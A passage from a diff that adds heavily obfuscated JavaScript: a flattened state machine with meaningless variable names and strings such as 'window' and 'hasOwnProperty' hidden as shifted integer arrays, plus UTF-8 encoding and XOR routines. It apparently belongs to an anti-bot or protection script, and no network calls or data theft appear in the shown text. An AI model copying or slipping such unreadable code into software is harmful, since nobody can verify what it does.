= _$qM[_$HM]; + _$BM = _$tY; + _$XM = 8; + _$FM = _$BM[_$XM]; + _$JM = _$tY; + _$$M = 8; + _$aI = _$JM[_$$M]; + _$eI = [_$xM, _$FM, _$aI]; + _$rI = _$eI; + _$cI = _$tY; + _$vI = 8; + _$sI = _$cI[_$vI]; + _$nI = [_$sI]; + _$_p = _$nI; + _$fI = _$BC; + _$Lp = _$fI; + for (_$tI = 0, + _$iI = _$_p.length; _$tI < _$iI; ++_$tI) { + _$cl = _$_p; + _$vl = _$tI; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Lp += _$nl + } + _$cl = _$BC; + _$Sh = _$cl; + for (_$mh = 0, + _$oI = _$rI.length; _$mh < _$oI; ++_$mh) { + _$cl = _$rI; + _$vl = _$mh; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Sh += _$nl + } + _$cl = _$BC; + _$kI = _$cl; + for (_$bI = 0, + _$lI = _$VM.length; _$bI < _$lI; ++_$bI) { + _$cl = _$VM; + _$vl = _$bI; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$kI += _$nl + } + _$cl = _$BC; + _$hI = _$cl; + for (_$gI = 0, + _$uI = _$AM.length; _$gI < _$uI; ++_$gI) { + _$cl = _$AM; + _$vl = _$gI; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$hI += _$nl + } + _$cl = _$BC; + _$pI = _$cl; + for (_$yI = 0, + _$Dg = _$Hd.length; _$yI < _$Dg; ++_$yI) { + _$cl = _$Hd; + _$vl = _$yI; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$pI += _$nl + } + _$cl = _$rA; + _$vl = _$pI; + _$sl = _$cl[_$vl]; + _$nl = _$hI; + _$fl = _$sl[_$nl]; + _$ol = _$kI; + _$ll = _$Sh; + _$hl = _$Lp; + _$gl = _$fl[_$ol](_$ll, _$hl); + _$wI = _$gl; + _$Zl = []; + _$dI = _$Zl; + for (_$MI = 0, + _$dg = _$wI.length; _$MI < _$dg; ++_$MI) { + _$cl = _$dI; + _$vl = _$LC; + _$sl = _$wI; + _$nl = _$OC; + _$fl = _$MI; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cl = _$dI; + _$Mg = _$cl; + _$cl = []; + _$pY = _$cl; + _$cl = _$pY; + _$vl = _$LC; + _$sl = _$Mg; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl); + for (_$II = 0, + _$AI = _$Mg.length; _$II < _$AI; ++_$II) { + _$cl = _$pY; + _$vl = _$LC; + _$sl = _$Mg; + _$nl = _$II; + _$fl = _$sl[_$nl]; + _$ol = _$MW; + _$ll = _$MW; + _$hl = _$PC; + _$gl = _$ll[_$hl]; + _$Zl = 1; + _$zl = _$gl - _$Zl; + _$El = _$II; + _$Rl = _$MW; + _$_l = _$PC; + _$Ll = _$Rl[_$_l]; + _$Vl = _$El % _$Ll; + _$ql = _$zl - _$Vl; + _$tu = _$ol[_$ql]; + _$iu = _$fl ^ _$tu; + _$cl[_$vl](_$iu) + } + } else { + _$cl = _$$; + _$SI = _$cl; + _$vl = 1; + _$mI = _$vl; + _$cl = _$mI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$mI = _$sl; + _$cl = 1; + _$SI = _$cl; + _$cl = _$BC; + _$TI = _$cl; + _$cl = _$mI; + _$SI = _$cl; + _$cl = 4608; + _$vl = 57856; + _$sl = 60928; + _$nl = 51712; + _$fl = 49664; + _$ol = 58880; + _$ll = 51200; + _$hl = 62464; + _$gl = 61440; + _$Zl = 50688; + _$zl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl]; + _$mI = _$zl; + for (_$jI = 0; _$jI < _$mI.length; _$jI++) { + _$cl = _$TI; + _$vl = _$mI; + _$sl = _$jI; + _$nl = _$vl[_$sl]; + _$fl = 9; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$TI = _$hl + } + _$cl = _$mI; + _$vl = _$LC; + _$sl = _$SI; + _$nl = _$cl[_$vl](_$sl); + _$mI = _$nl; + _$cl = _$TI; + _$CI = _$cl; + _$vl = []; + _$DI = _$vl; + for (_$KI = 0, + _$Up = _$CI.length; _$KI < _$Up; _$KI++) { + _$cl = _$DI; + _$vl = _$LC; + _$sl = _$CI; + _$nl = _$OC; + _$fl = _$KI; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cl = _$DI; + _$pY = _$cl + } + _$cs += 370; + continue; + case 284: + for (_$jh = 0; _$jh < _$Id.length; _$jh++) { + _$cl = _$Id; + _$vl = _$jh; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$ud += _$nl + } + _$cs += 377; + continue; + case 285: + if (_$ng + _$Eg < 0) { + _$cl = _$Zg; + _$vl = _$ng; + _$sl = _$Eg; + _$nl = _$vl * _$sl; + _$fl = _$cl << _$nl; + _$ol = _$Zg; + _$ll = _$fl >> _$ol; + _$zg = _$ll + } + _$cs += 408; + continue; + case 286: + _$Uu = _$Uu.p(_$Yu); + _$cs += 121; + continue; + case 287: + _$mg = _$Ld; + _$cs += 131; + continue; + case 288: + _$Ng = _$Ng + 1; + _$cs -= 158; + continue; + case 289: + _$Eu = 1; + _$cs -= 109; + continue; + case 290: + _$bg = _$bg / _$og[4]; + _$cs += 374; + continue; + case 291: + if (_$wD && _$qg) { + _$cl = _$TS; + _$QI = _$cl; + _$vl = 1; + _$WI = _$vl; + _$cl = _$WI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$WI = _$sl; + _$cl = 1; + _$QI = _$cl; + _$cl = _$BC; + _$YI = _$cl; + _$cl = _$WI; + _$QI = _$cl; + _$cl = 974848; + _$vl = 860160; + _$sl = 901120; + _$nl = 819200; + _$fl = 909312; + _$ol = 974848; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$WI = _$ll; + for (_$UI = 0; _$UI < _$WI.length; _$UI++) { + _$cl = _$YI; + _$vl = _$WI; + _$sl = _$UI; + _$nl = _$vl[_$sl]; + _$fl = 13; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$YI = _$hl + } + _$cl = _$WI; + _$vl = _$LC; + _$sl = _$QI; + _$nl = _$cl[_$vl](_$sl); + _$WI = _$nl; + _$cl = _$mS; + _$OI = _$cl; + _$vl = 1; + _$PI = _$vl; + _$cl = _$PI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$PI = _$sl; + _$cl = 1; + _$OI = _$cl; + _$cl = _$BC; + _$GI = _$cl; + _$cl = _$PI; + _$OI = _$cl; + _$cl = 7798784; + _$vl = 6881280; + _$sl = 7208960; + _$nl = 6553600; + _$fl = 7274496; + _$ol = 7798784; + _$ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol]; + _$PI = _$ll; + for (_$NI = 0; _$NI < _$PI.length; _$NI++) { + _$cl = _$GI; + _$vl = _$PI; + _$sl = _$NI; + _$nl = _$vl[_$sl]; + _$fl = 16; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$GI = _$hl + } + _$cl = _$PI; + _$vl = _$LC; + _$sl = _$OI; + _$nl = _$cl[_$vl](_$sl); + _$PI = _$nl; + _$cl = _$SS; + _$ZI = _$cl; + _$vl = 1; + _$zI = _$vl; + _$cl = _$zI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$zI = _$sl; + _$cl = 1; + _$ZI = _$cl; + _$cl = _$BC; + _$EI = _$cl; + _$cl = _$zI; + _$ZI = _$cl; + _$cl = 416; + _$vl = 388; + _$sl = 460; + _$nl = 316; + _$fl = 476; + _$ol = 440; + _$ll = 320; + _$hl = 456; + _$gl = 444; + _$Zl = 448; + _$zl = 404; + _$El = 456; + _$Rl = 464; + _$_l = 484; + _$Ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l]; + _$zI = _$Ll; + for (_$RI = 0; _$RI < _$zI.length; _$RI++) { + _$cl = _$EI; + _$vl = _$zI; + _$sl = _$RI; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$EI = _$hl + } + _$cl = _$zI; + _$vl = _$LC; + _$sl = _$ZI; + _$nl = _$cl[_$vl](_$sl); + _$zI = _$nl; + _$cl = _$qg; + _$vl = _$EI; + _$sl = _$YI; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$GI; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs += 293; + continue; + case 292: + for (_$_I = 0, + _$LI = _$qy.length; _$_I < _$LI; ++_$_I) { + _$cl = _$J; + _$VI = _$cl; + _$vl = 1; + _$Hd = _$vl; + _$cl = _$Hd; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Hd = _$sl; + _$cl = 1; + _$VI = _$cl; + _$cl = _$BC; + _$AM = _$cl; + _$cl = _$Hd; + _$VI = _$cl; + _$cl = 53248; + _$vl = 49664; + _$sl = 58880; + _$nl = 40448; + _$fl = 60928; + _$ol = 56320; + _$ll = 40960; + _$hl = 58368; + _$gl = 56832; + _$Zl = 57344; + _$zl = 51712; + _$El = 58368; + _$Rl = 59392; + _$_l = 61952; + _$Ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l]; + _$Hd = _$Ll; + for (_$VM = 0; _$VM < _$Hd.length; _$VM++) { + _$cl = _$AM; + _$vl = _$Hd; + _$sl = _$VM; + _$nl = _$vl[_$sl]; + _$fl = 9; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$AM = _$hl + } + _$cl = _$Hd; + _$vl = _$LC; + _$sl = _$VI; + _$nl = _$cl[_$vl](_$sl); + _$Hd = _$nl; + _$cl = _$nj; + _$vl = _$AM; + _$sl = _$qy; + _$nl = _$_C; + _$fl = _$_I; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + if (_$ll) { + _$cl = _$nj; + _$vl = _$qy; + _$sl = _$_C; + _$nl = _$_I; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$cl[_$fl]; + _$sj += _$ol + } else { + _$cl = _$qy; + _$vl = _$_C; + _$sl = _$_I; + _$nl = _$cl[_$vl](_$sl); + _$sj += _$nl + } + } + _$cs -= 196; + continue; + case 293: + _$qI = _$BC; + _$cs -= 66; + continue; + case 294: + for (_$HI = 0; _$HI < _$Pg.length; _$HI++) { + _$cl = _$Ej; + _$vl = _$Pg; + _$sl = _$HI; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Ej = _$hl + } + _$cs -= 262; + continue; + case 295: + for (_$xI = 0; _$xI < _$Ng.length; _$xI++) { + _$cl = _$VY; + _$vl = _$LC; + _$sl = _$Ng; + _$nl = _$xI; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs += 416; + continue; + case 296: + _$Gg = _$Ng; + _$cs -= 11; + continue; + case 297: + for (_$BI = 1; _$BI < _$KD.length; _$BI++) { + _$cl = _$KD; + _$vl = _$BI; + _$sl = _$cl[_$vl]; + _$XI = _$sl; + _$nl = _$WD; + _$fl = _$WD; + _$ol = _$PC; + _$ll = _$fl[_$ol]; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$nl[_$gl]; + _$FI = _$Zl; + _$cl = _$XI; + _$vl = _$FI; + _$sl = _$cl > _$vl; + if (_$sl) { + _$QD++; + _$cl = _$WD; + _$vl = _$LC; + _$sl = _$XI; + _$cl[_$vl](_$sl) + } else { + _$cl = _$XI; + _$vl = _$FI; + _$sl = _$cl < _$vl; + if (_$sl) { + for (_$JI = 0; _$JI < _$WD.length; _$JI++) { + _$cl = _$XI; + _$vl = _$WD; + _$sl = _$JI; + _$nl = _$vl[_$sl]; + _$fl = _$cl <= _$nl; + if (_$fl) { + _$cl = _$WD; + _$vl = _$JI; + _$sl = _$XI; + _$cl[_$vl] = _$sl; + break + } + } + } + } + } + _$cs -= 66; + continue; + case 298: + _$Vh = _$qh; + _$cs -= 64; + continue; + case 299: + _$wT = [824, 808, 928, 544, 776, 928, 808]; + _$cs += 186; + continue; + case 300: + _$$I = _$rp; + _$cs -= 3; + continue; + case 301: + for (_$wI = 0; _$wI < _$yI.length; _$wI++) { + _$cl = _$Dg; + _$vl = _$yI; + _$sl = _$wI; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Dg = _$hl + } + _$cs += 238; + continue; + case 302: + _$aA = _$BC; + _$cs += 40; + continue; + case 303: + for (_$bI = 1; _$bI < _$oI.length; _$bI++) { + _$cl = _$oI; + _$vl = _$OC; + _$sl = _$bI; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$kI; + _$ol = _$OC; + _$ll = _$bI; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$kI += _$El + } + _$cs += 402; + continue; + case 304: + _$Uu = [105472, 103424, 118784, 71680, 119808, 110592, 110592, 91136, 103424, 99328, 116736]; + _$cs -= 31; + continue; + case 305: + _$lA = _$hA; + _$cs += 277; + continue; + case 306: + _$eA = _$Jy; + _$cs += 465; + continue; + case 307: + for (_$rA = 0; _$rA < _$og; _$rA++) { + _$cl = _$UA; + _$vl = _$OC; + _$sl = _$rA; + _$nl = _$cl[_$vl](_$sl); + _$bg = _$nl; + _$cl = _$bg; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$bg; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$bg; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$bg; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$bg; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$bg; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$jA; + _$vl = _$LC; + _$sl = _$bg; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cs += 19; + continue; + case 308: + _$cA = _$xA; + _$vA = 1; + _$cs += 175; + continue; + case 309: + _$hd = 1; + _$cs += 11; + continue; + case 310: + for (_$II = 0, + _$AI = _$Uy.length; _$II < _$AI; ++_$II) { + _$cl = _$F; + _$sA = _$cl; + _$vl = 1; + _$nA = _$vl; + _$cl = _$nA; + _$vl = 1; + _$sl = _$cl + _$vl; + _$nA = _$sl; + _$cl = 1; + _$sA = _$cl; + _$cl = _$BC; + _$fA = _$cl; + _$cl = _$nA; + _$sA = _$cl; + _$cl = 1664; + _$vl = 1552; + _$sl = 1840; + _$nl = 1264; + _$fl = 1904; + _$ol = 1760; + _$ll = 1280; + _$hl = 1824; + _$gl = 1776; + _$Zl = 1792; + _$zl = 1616; + _$El = 1824; + _$Rl = 1856; + _$_l = 1936; + _$Ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l]; + _$nA = _$Ll; + for (_$tA = 0; _$tA < _$nA.length; _$tA++) { + _$cl = _$fA; + _$vl = _$nA; + _$sl = _$tA; + _$nl = _$vl[_$sl]; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$fA = _$hl + } + _$cl = _$nA; + _$vl = _$LC; + _$sl = _$sA; + _$nl = _$cl[_$vl](_$sl); + _$nA = _$nl; + _$cl = _$ej; + _$vl = _$fA; + _$sl = _$Uy; + _$nl = _$_C; + _$fl = _$II; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + if (_$ll) { + _$cl = _$ej; + _$vl = _$Uy; + _$sl = _$_C; + _$nl = _$II; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$cl[_$fl]; + _$yy += _$ol + } else { + _$cl = _$Uy; + _$vl = _$_C; + _$sl = _$II; + _$nl = _$cl[_$vl](_$sl); + _$yy += _$nl + } + } + _$cs += 409; + continue; + case 311: + _$pg = 1; + _$oA = -1; + _$bA = 2; + _$_g = 0; + _$cs += 301; + continue; + case 312: + _$sC = [1998848, 3801088, 3407872, 3440640, 3768320, 1933312]; + _$cs += 211; + continue; + case 313: + _$og = _$UA.length; + _$cs += 136; + continue; + case 314: + _$Fg = _$Fg.p(_$Xg); + _$cs += 354; + continue; + case 315: + _$zg = _$zg.j(_$BC); + _$cs += 31; + continue; + case 316: + _$Oy = _$Oy * 5; + _$cs += 67; + continue; + case 317: + _$hg = [212992, 215040, 235520, 237568, 227328, 233472, 247808]; + _$cs += 8; + continue; + case 318: + _$lA = _$KS; + _$hA = 1; + _$cs += 107; + continue; + case 319: + _$Gg = _$BC; + _$Ng = 1; + _$Zg = -1; + _$zg = 2; + _$ng = 0; + _$cs -= 267; + continue; + case 320: + _$hd = _$hd * 5; + _$cs += 321; + continue; + case 321: + if (!_$pg) { + _$cl = 5; + _$vl = _$bA; + _$sl = _$cl + _$vl; + _$nl = 3; + _$fl = _$sl >> _$nl; + _$pg = _$fl + } + _$cs += 443; + continue; + case 322: + _$zg += _$_C; + _$cs += 25; + continue; + case 323: + _$zg += _$zC; + _$cs += 438; + continue; + case 324: + for (_$uA = 0, + _$pA = _$aY.length; _$uA < _$pA; ++_$uA) { + _$cl = _$MY; + _$vl = _$LC; + _$sl = _$aY; + _$nl = _$uA; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs += 60; + continue; + case 325: + for (_$yA = 0; _$yA < _$hg.length; _$yA++) { + _$cl = _$CA; + _$vl = _$hg; + _$sl = _$yA; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$CA = _$hl + } + _$cs += 298; + continue; + case 326: + for (_$Eg = _$zg.length - 1; _$Eg >= 4; _$Eg--) { + _$cl = _$zg; + _$vl = _$LC; + _$sl = _$Xu; + _$nl = _$_C; + _$fl = _$Eg; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs += 11; + continue; + case 327: + _$lA = 1; + _$cs += 225; + continue; + case 328: + for (_$Eg = _$zg.length - 1; _$Eg >= 0; _$Eg--) { + _$cl = _$Zg; + _$vl = _$LC; + _$sl = _$zg; + _$nl = _$_C; + _$fl = _$Eg; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs += 468; + continue; + case 329: + _$dI = _$Dg; + _$MI = []; + _$cs -= 276; + continue; + case 330: + _$Fg = [15488, 12416, 13696, 6272, 12160, 4096, 8704, 8064, 15232, 8960, 13824, 8576, 11520, 11904]; + _$cs += 105; + continue; + case 331: + _$Zg = []; + _$zg = _$Rt + _$_t + _$Et; + _$cs -= 248; + continue; + case 332: + function _$FQ() { + var _$a = _$mC; + var _$e = _$SC; + var _$r = _$xS; + var _$c = _$BS; + var _$v = _$KA; + var _$s = _$DA; + var _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa; + _$h = _$X; + _$g = _$h; + _$u = []; + _$p = _$u; + _$y = _$s + _$v; + _$w = _$y; + _$h = _$g; + _$u = _$PC; + _$y = _$h[_$u]; + _$n = _$y; + _$h = []; + _$d = _$h; + for (_$M = _$w.length - 1; _$M >= 0; _$M--) { + _$h = _$p; + _$u = _$LC; + _$y = _$w; + _$I = _$_C; + _$A = _$M; + _$S = _$y[_$I](_$A); + _$h[_$u](_$S) + } + for (_$m = 0; _$m < _$n; _$m++) { + _$h = _$g; + _$u = _$OC; + _$y = _$m; + _$I = _$h[_$u](_$y); + _$f = _$I; + _$h = _$f; + _$u = 65536; + _$y = _$h >= _$u; + _$I = _$y; + if (_$I) { + _$T = _$f; + _$j = 1114111; + _$I = _$T <= _$j + } + if (_$I) { + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 18; + _$A = _$y >> _$I; + _$S = 7; + _$C = _$A & _$S; + _$D = 240; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 12; + _$A = _$y >> _$I; + _$S = 63; + _$C = _$A & _$S; + _$D = 128; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 6; + _$A = _$y >> _$I; + _$S = 63; + _$C = _$A & _$S; + _$D = 128; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 63; + _$A = _$y & _$I; + _$S = 128; + _$C = _$A | _$S; + _$h[_$u](_$C) + } else { + _$h = _$f; + _$u = 2048; + _$y = _$h >= _$u; + _$I = _$y; + if (_$I) { + _$T = _$f; + _$j = 65535; + _$I = _$T <= _$j + } + if (_$I) { + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 12; + _$A = _$y >> _$I; + _$S = 15; + _$C = _$A & _$S; + _$D = 224; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 6; + _$A = _$y >> _$I; + _$S = 63; + _$C = _$A & _$S; + _$D = 128; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 63; + _$A = _$y & _$I; + _$S = 128; + _$C = _$A | _$S; + _$h[_$u](_$C) + } else { + _$h = _$f; + _$u = 128; + _$y = _$h >= _$u; + _$I = _$y; + if (_$I) { + _$T = _$f; + _$j = 2047; + _$I = _$T <= _$j + } + if (_$I) { + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 6; + _$A = _$y >> _$I; + _$S = 31; + _$C = _$A & _$S; + _$D = 192; + _$K = _$C | _$D; + _$h[_$u](_$K); + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 63; + _$A = _$y & _$I; + _$S = 128; + _$C = _$A | _$S; + _$h[_$u](_$C) + } else { + _$h = _$d; + _$u = _$LC; + _$y = _$f; + _$I = 255; + _$A = _$y & _$I; + _$h[_$u](_$A) + } + } + } + } + _$h = _$d; + _$u = _$PC; + _$y = _$h[_$u]; + _$t = _$y; + _$h = _$p; + _$u = _$RC; + _$y = _$BC; + _$I = _$h[_$u](_$y); + _$p = _$I; + _$h = _$t; + _$u = 2; + _$y = _$h / _$u; + _$t = _$y; + _$h = []; + _$Q = _$h; + _$h = _$w; + _$u = _$_C; + _$y = 5; + _$I = _$h[_$u](_$y); + _$A = _$p; + _$S = _$_C; + _$C = 4; + _$D = _$A[_$S](_$C); + _$K = _$I > _$D; + if (_$K) { + _$h = _$w; + _$u = _$EC; + _$y = _$h + _$u; + _$w = _$y + } + _$h = 0; + _$i = _$h; + for (_$W = 0; _$W < _$t; _$W++) { + _$h = _$d; + _$u = _$i; + _$y = _$h[_$u]; + _$b = _$y; + _$h = _$d; + _$u = _$i; + _$y = 1; + _$I = _$u + _$y; + _$A = _$h[_$I]; + _$l = _$A; + _$h = _$i; + _$u = 2; + _$y = _$h + _$u; + _$i = _$y; + _$h = _$b; + _$u = 46; + _$y = _$h - _$u; + _$b = _$y; + _$h = _$l; + _$u = 46; + _$y = _$h - _$u; + _$l = _$y; + _$h = _$l; + _$u = 19; + _$y = _$h * _$u; + _$I = _$b; + _$A = _$y + _$I; + _$k = _$A; + _$h = _$k; + _$u = 11; + _$y = _$h ^ _$u; + _$o = _$y; + _$h = _$Q; + _$u = _$W; + _$y = _$o; + _$h[_$u] = _$y + } + _$h = _$p; + _$u = _$w; + _$y = _$h + _$u; + _$Y = _$y; + _$I = _$BC; + _$U = _$I; + for (_$Z = 0; _$Z < _$Q.length; _$Z++) { + _$h = _$Q; + _$u = _$Z; + _$y = _$h[_$u]; + _$I = _$r + _$c; + _$A = 2; + _$S = _$y[_$I](_$A); + _$O = _$S; + _$h = _$O; + _$u = _$LS; + _$y = /^1+?(?=0)/; + _$I = _$h[_$u](_$y); + _$P = _$I; + _$h = _$P; + _$u = _$h; + if (_$u) { + _$T = _$O; + _$j = _$PC; + _$z = _$T[_$j]; + _$E = 8; + _$u = _$z === _$E + } + if (_$u) { + _$h = _$P; + _$u = 0; + _$y = _$h[_$u]; + _$I = _$PC; + _$A = _$y[_$I]; + _$G = _$A; + _$h = _$Q; + _$u = _$Z; + _$y = _$h[_$u]; + _$I = _$r + _$c; + _$A = 2; + _$S = _$y[_$I](_$A); + _$C = _$_S; + _$D = 7; + _$K = _$G; + _$R = _$D - _$K; + _$_ = _$S[_$C](_$R); + _$N = _$_; + for (_$F = 0; _$F < _$G; _$F++) { + _$h = _$Q; + _$u = _$F; + _$y = _$Z; + _$I = _$u + _$y; + _$A = _$h[_$I]; + _$S = _$a + _$e; + _$C = 2; + _$D = _$A[_$S](_$C); + _$K = _$_S; + _$R = 2; + _$_ = _$D[_$K](_$R); + _$N += _$_ + } + _$h = _$N; + _$u = 2; + _$y = parseInt(_$h, _$u); + _$I = _$bW(_$y); + _$U += _$I; + _$h = _$G; + _$u = 1; + _$y = _$h - _$u; + _$Z += _$y + } else { + _$h = _$Q; + _$u = _$Z; + _$y = _$h[_$u]; + _$I = _$bW(_$y); + _$U += _$I + } + } + _$h = []; + _$w = _$h; + _$h = this; + _$u = _$U; + _$y = []; + _$h[_$u] = _$y; + for (_$M = _$w.length - 1; _$M >= 4; _$M--) { + _$h = _$w; + _$u = _$LC; + _$y = _$Y; + _$I = _$_C; + _$A = _$M; + _$S = _$y[_$I](_$A); + _$h[_$u](_$S) + } + _$h = _$B; + _$J = _$h; + _$u = 1; + _$$ = _$u; + _$h = _$$; + _$u = 1; + _$y = _$h + _$u; + _$$ = _$y; + _$h = _$w; + _$u = _$RC; + _$y = _$BC; + _$I = _$h[_$u](_$y); + _$w = _$I; + _$h = 1; + _$J = _$h; + _$h = _$BC; + _$aa = _$h; + _$h = _$zC; + _$w += _$h; + _$h = _$$; + _$J = _$h; + _$h = 425984; + _$u = 397312; + _$y = 471040; + _$I = [_$h, _$u, _$y]; + _$$ = _$I; + _$h = _$ZC; + _$w += _$h; + for (_$ea = 0; _$ea < _$$.length; _$ea++) { + _$h = _$aa; + _$u = _$$; + _$y = _$ea; + _$I = _$u[_$y]; + _$A = 12; + _$S = _$I >> _$A; + _$C = _$bW(_$S); + _$D = _$h + _$C; + _$aa = _$D + } + _$h = _$$; + _$u = _$LC; + _$y = _$J; + _$I = _$h[_$u](_$y); + _$$ = _$I; + _$h = _$_C; + _$w += _$h; + _$h = this; + _$u = _$aa; + _$y = function(_$a) { + var _$e, _$r, _$c, _$v, 